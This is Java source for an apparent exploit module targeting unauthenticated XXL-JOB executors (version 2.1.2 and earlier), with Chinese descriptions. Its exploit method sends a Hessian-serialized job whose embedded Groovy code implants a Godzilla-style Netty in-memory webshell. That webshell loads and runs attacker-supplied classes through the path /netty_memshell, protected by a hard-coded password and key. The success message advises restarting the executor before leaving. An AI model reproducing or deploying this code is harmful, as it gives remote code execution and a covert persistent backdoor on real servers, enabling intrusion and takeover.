content: package com.example.xxljobexp.exploit;
  
  import com.example.xxljobexp.entity.ExecutionResult;
  import com.example.xxljobexp.entity.Vulnerability;
  import com.xxl.job.core.biz.model.TriggerParam;
  import com.xxl.rpc.remoting.net.params.XxlRpcRequest;
  
  import com.xxl.rpc.serialize.impl.HessianSerializer;
  import org.asynchttpclient.AsyncCompletionHandler;
  import org.asynchttpclient.AsyncHttpClient;
  import org.asynchttpclient.DefaultAsyncHttpClient;
  import org.asynchttpclient.Response;
  
  import java.io.BufferedReader;
  import java.io.IOException;
  import java.io.InputStreamReader;
  import java.net.HttpURLConnection;
  import java.net.URL;
  import java.util.Date;
  
  public class executor_unauth_low212 implements Vulnerability {
      public executor_unauth_low212() {}
  
      public String getInfo() {
          String vulname = "XXL-JOB executor未授权访问（executor管理端口漏洞，输入http://ip:port进行检测和利用）";
          String desc = "executor默认没有配置认证，未授权的攻击者可以通过接口执行任意命令，本漏洞针对于XxlJob<2.1.2版本，用Hessian触发。";
          String appVersion = "version <= 2.1.2";
          String fixRecommendation = "升级版本，或添加accessToken鉴权";
          return String.format("--------------------------------------------------\n漏洞名称: %s\n\n漏洞描述: %s\n\n漏洞影响版本: %s\n\n漏洞修复方案: %s\n\n--------------------------------------------------\n", vulname, desc, appVersion, fixRecommendation);
      }
  
      public ExecutionResult check(String url) throws Exception {
          try {
              URL targetUrl = new URL(url);
              HttpURLConnection connection = (HttpURLConnection)targetUrl.openConnection();
              connection.setRequestMethod("GET");
              connection.setInstanceFollowRedirects(false);
              BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
              StringBuilder response = new StringBuilder();
              String line;
              while ((line = reader.readLine()) != null) {
                  response.append(line);
              }
              reader.close();
              if (response.toString().contains("xxl-rpc request data")) {
                  return new ExecutionResult(true, "executor-unauth version<2.1.2", response.toString().split("empty")[0]+"empty...", (String)null);
              } else if (response.toString().contains("invalid request")) {
                  return new ExecutionResult(true, "executor-unauth version<2.1.2", response.toString().split("empty")[0]+"empty...", "该executor版本高于2.1.2");
              }
              return new ExecutionResult(false, "executor-unauth version<2.1.2", (String)null, (String)null);
          } catch (Exception var10) {
              return new ExecutionResult(false, "executor-unauth version<2.1.2", (String)null, (String)null);
          }
      }
  
      public ExecutionResult exploit(String url) throws Exception {
          TriggerParam params = new TriggerParam();
          params.setJobId(10);
          params.setExecutorBlockStrategy("SERIAL_EXECUTION");
          params.setLogId(10);
          params.setLogDateTime((new Date()).getTime());
          params.setGlueType("GLUE_GROOVY");
          params.setGlueSource(code);
          params.setGlueUpdatetime((new Date()).getTime());
  
          XxlRpcRequest xxlRpcRequest = new XxlRpcRequest();
          xxlRpcRequest.setRequestId("111");
          xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
          xxlRpcRequest.setMethodName("run");
          xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
          xxlRpcRequest.setParameters(new Object[] {params});
          xxlRpcRequest.setCreateMillisTime((new Date()).getTime());
  
          HessianSerializer serializer = new HessianSerializer();
  
          byte[] data = serializer.serialize(xxlRpcRequest);
          sendData(url, data);
          return new ExecutionResult(true, "executor-unauth version<2.1.2", "empty...", "已写入哥斯拉马，请尝试连接，未连接成功则为写入失败（该漏洞写入内存马会导致原本执行逻辑会消失，建议跑路前重启一下执行器），地址：" + url + "/netty_memshell, 密码: xxl-job-EXP，密钥：xxl-job-EXP");
      }
  
      private static void sendData(String url, byte[] bytes) {
          AsyncHttpClient c = new DefaultAsyncHttpClient();
  
          try{
              c.preparePost(url)
                      .setBody(bytes)
                      .execute(new AsyncCompletionHandler<Response>() {
                          @Override
                          public Response onCompleted(Response response) throws Exception {
                              return response;
                          }
                          @Override
                          public void onThrowable(Throwable t) {
                              System.out.println("HTTP出现异常");
                              t.printStackTrace();
                              super.onThrowable(t);
                          }
                      }).toCompletableFuture().join();
  
              c.close();
          } catch (Exception e) {
              e.printStackTrace();
          } finally {
              try {
                  c.close();
              } catch (IOException e) {
                  e.printStackTrace();
              }
          }
      }
  
      final static String code = "package com.xxl.job.service.handler;\n" +
              "\n" +
              "import io.netty.buffer.ByteBuf;\n" +
              "import io.netty.buffer.Unpooled;\n" +
              "import io.netty.channel.*;\n" +
              "import io.netty.channel.socket.SocketChannel;\n" +
              "import io.netty.handler.codec.http.*;\n" +
              "import io.netty.handler.timeout.IdleStateHandler;\n" +
              "import java.io.ByteArrayOutputStream;\n" +
              "import java.lang.reflect.Field;\n" +
              "import java.lang.reflect.Method;\n" +
              "import java.net.URL;\n" +
              "import java.net.URLClassLoader;\n" +
              "import java.util.AbstractMap;\n" +
              "import java.util.HashSet;\n" +
              "import java.util.concurrent.*;\n" +
              "\n" +
              "import com.xxl.job.core.log.XxlJobLogger;\n" +
              "import com.xxl.job.core.biz.model.ReturnT;\n" +
              "import com.xxl.job.core.handler.IJobHandler;\n" +
              "\n" +
              "public class DemoGlueJobHandler extends IJobHandler {\n" +
              "    public static class NettyThreadHandler extends ChannelDuplexHandler{\n" +
              "        String xc = \"550de4f4107824bd\";\n" +
              "        String pass = \"xxl-job-EXP\";\n" +
              "        String md5 = md5(pass + xc);\n" +
              "        String result = \"\";\n" +
              "        private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();\n" +
              "        private  static Class payload;\n" +
              "\n" +
              "        private static Class defClass(byte[] classbytes)throws Exception{\n" +
              "            URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());\n" +
              "            Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
              "            method.setAccessible(true);\n" +
              "            return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);\n" +
              "        }\n" +
              "\n" +
              "        public byte[] x(byte[] s, boolean m) {\n" +
              "            try {\n" +
              "                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance(\"AES\");\n" +
              "                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), \"AES\"));\n" +
              "                return c.doFinal(s);\n" +
              "            } catch(Exception e) {\n" +
              "                return null;\n" +
              "            }\n" +
              "        }\n" +
              "        public static String md5(String s) {\n" +
              "            String ret = null;\n" +
              "            try {\n" +
              "                java.security.MessageDigest m;\n" +
              "                m = java.security.MessageDigest.getInstance(\"MD5\");\n" +
              "                m.update(s.getBytes(), 0, s.length());\n" +
              "                ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();\n" +
              "            } catch(Exception e) {}\n" +
              "            return ret;\n" +
              "        }\n" +
              "\n" +
              "        @Override\n" +
              "        public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n" +
              "            if(((HttpRequest)msg).uri().contains(\"netty_memshell\")) {\n" +
              "                if (msg instanceof HttpRequest){\n" +
              "                    HttpRequest httpRequest = (HttpRequest) msg;\n" +
              "                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());\n" +
              "                    requestThreadLocal.set(simpleEntry);\n" +
              "                }\n" +
              "                if(msg instanceof HttpContent){\n" +
              "                    HttpContent httpContent = (HttpContent)msg;\n" +
              "                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();\n" +
              "                    if (simpleEntry == null){\n" +
              "                        return;\n" +
              "                    }\n" +
              "                    HttpRequest httpRequest = simpleEntry.getKey();\n" +
              "                    ByteArrayOutputStream contentBuf = simpleEntry.getValue();\n" +
              "\n" +
              "                    ByteBuf byteBuf = httpContent.content();\n" +
              "                    int size = byteBuf.capacity();\n" +
              "                    byte[] requestContent = new byte[size];\n" +
              "                    byteBuf.getBytes(0,requestContent,0,requestContent.length);\n" +
              "\n" +
              "                    contentBuf.write(requestContent);\n" +
              "\n" +
              "                    if (httpContent instanceof LastHttpContent){\n" +
              "                        try {\n" +
              "                            byte[] data =  x(contentBuf.toByteArray(), false);\n" +
              "\n" +
              "                            if (payload == null) {\n" +
              "                                payload = defClass(data);\n" +
              "                                send(ctx,x(new byte[0], true),HttpResponseStatus.OK);\n" +
              "                            } else {\n" +
              "                                Object f = payload.newInstance();\n" +
              "                                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();\n" +
              "                                f.equals(arrOut);\n" +
              "                                f.equals(data);\n" +
              "                                f.toString();\n" +
              "                                send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);\n" +
              "                            }\n" +
              "                        } catch(Exception e) {\n" +
              "                            ctx.fireChannelRead(httpRequest);\n" +
              "                        }\n" +
              "                    }else {\n" +
              "                        ctx.fireChannelRead(msg);\n" +
              "                    }\n" +
              "                }\n" +
              "            } else {\n" +
              "                ctx.fireChannelRead(msg);\n" +
              "            }\n" +
              "        }\n" +
              "\n" +
              "        private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {\n" +
              "            FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));\n" +
              "            response.headers().set(HttpHeaderNames.CONTENT_TYPE, \"text/plain; charset=UTF-8\");\n" +
              "            ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);\n" +
              "        }\n" +
              "    }\n" +
              "\n" +
              "    public ReturnT<String> execute(String param) throws Exception{\n" +
              "        try{\n" +
              "            ThreadGroup group = Thread.currentThread().getThreadGroup();\n" +
              "            Field threads = group.getClass().getDeclaredField(\"threads\");\n" +
              "            threads.setAccessible(true);\n" +
              "            Thread[] allThreads = (Thread[]) threads.get(group);\n" +
              "            for (Thread thread : allThreads) {\n" +
              "                if (thread != null && thread.getName().contains(\"nioEventLoopGroup\")) {\n" +
              "                    try {\n" +
              "                        Object target;\n" +
              " \n" +
              "                        try {\n" +
              "                            target = getFieldValue(getFieldValue(getFieldValue(thread, \"target\"), \"runnable\"), \"val\\$eventExecutor\");\n" +
              "                        } catch (Exception e) {\n" +
              "                            continue;\n" +
              "                        }\n" +
              " \n" +
              "                        // NioEventLoop\n" +
              "                        if (target.getClass().getName().endsWith(\"NioEventLoop\")) {\n" +
              "                            XxlJobLogger.log(\"NioEventLoop find\");\n" +
              "                            HashSet set = (HashSet) getFieldValue(getFieldValue(target, \"unwrappedSelector\"), \"keys\");\n" +
              "                            if (!set.isEmpty()) {\n" +
              "                                Object keys = set.toArray()[0];\n" +
              " \n" +
              "                                // pipeline\n" +
              "                                Object pipeline = getFieldValue(getFieldValue(keys, \"attachment\"), \"pipeline\");\n" +
              " \n" +
              "                                // 替换 handler\n" +
              "                                Object aggregator = getFieldValue(getFieldValue(getFieldValue(pipeline, \"head\"), \"next\"), \"handler\");\n" +
              " \n" +
              "                                // 设置初始化\n" +
              "                                setFieldValue(aggregator, \"childHandler\", new ChannelInitializer<SocketChannel>() {\n" +
              "                                    @Override\n" +
              "                                    public void initChannel(SocketChannel channel) throws Exception {\n" +
              "                                        channel.pipeline()\n" +
              "                                                .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))  // beat 3N, close if idle\n" +
              "                                                .addLast(new HttpServerCodec())\n" +
              "                                                .addLast(new HttpObjectAggregator(5 * 1024 * 1024))  // merge request & reponse to FULL\n" +
              "                                                .addLast(new NettyThreadHandler());\n" +
              "                                    }\n" +
              "                                });\n" +
              "                                XxlJobLogger.log(\"ok?\");\n" +
              "                                break;\n" +
              "                            }\n" +
              "                        }\n" +
              "                    } catch (Exception ignored) {\n" +
              "                        XxlJobLogger.log(ignored.toString())\n" +
              "                    }\n" +
              "                }\n" +
              "            }\n" +
              "        }catch (Exception e){\n" +
              "            XxlJobLogger.log(e.toString());\n" +
              "        }\n" +
              "        return ReturnT.SUCCESS;\n" +
              "    }\n" +
              "\n" +
              "    public Field getField(final Class<?> clazz, final String fieldName) {\n" +
              "        Field field = null;\n" +
              "        try {\n" +
              "            field = clazz.getDeclaredField(fieldName);\n" +
              "            field.setAccessible(true);\n" +
              "        } catch (NoSuchFieldException ex) {\n" +
              "            if (clazz.getSuperclass() != null){\n" +
              "                field = getField(clazz.getSuperclass(), fieldName);\n" +
              "            }\n" +
              "        }\n" +
              "        return field;\n" +
              "    }\n" +
              "\n" +
              "    public Object getFieldValue(final Object obj, final String fieldName) throws Exception {\n" +
              "        final Field field = getField(obj.getClass(), fieldName);\n" +
              "        return field.get(obj);\n" +
              "    }\n" +
              "\n" +
              "    public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {\n" +
              "        final Field field = getField(obj.getClass(), fieldName);\n" +
              "        field.set(obj, value);\n" +
              "    }\n" +
              "}";
  }
  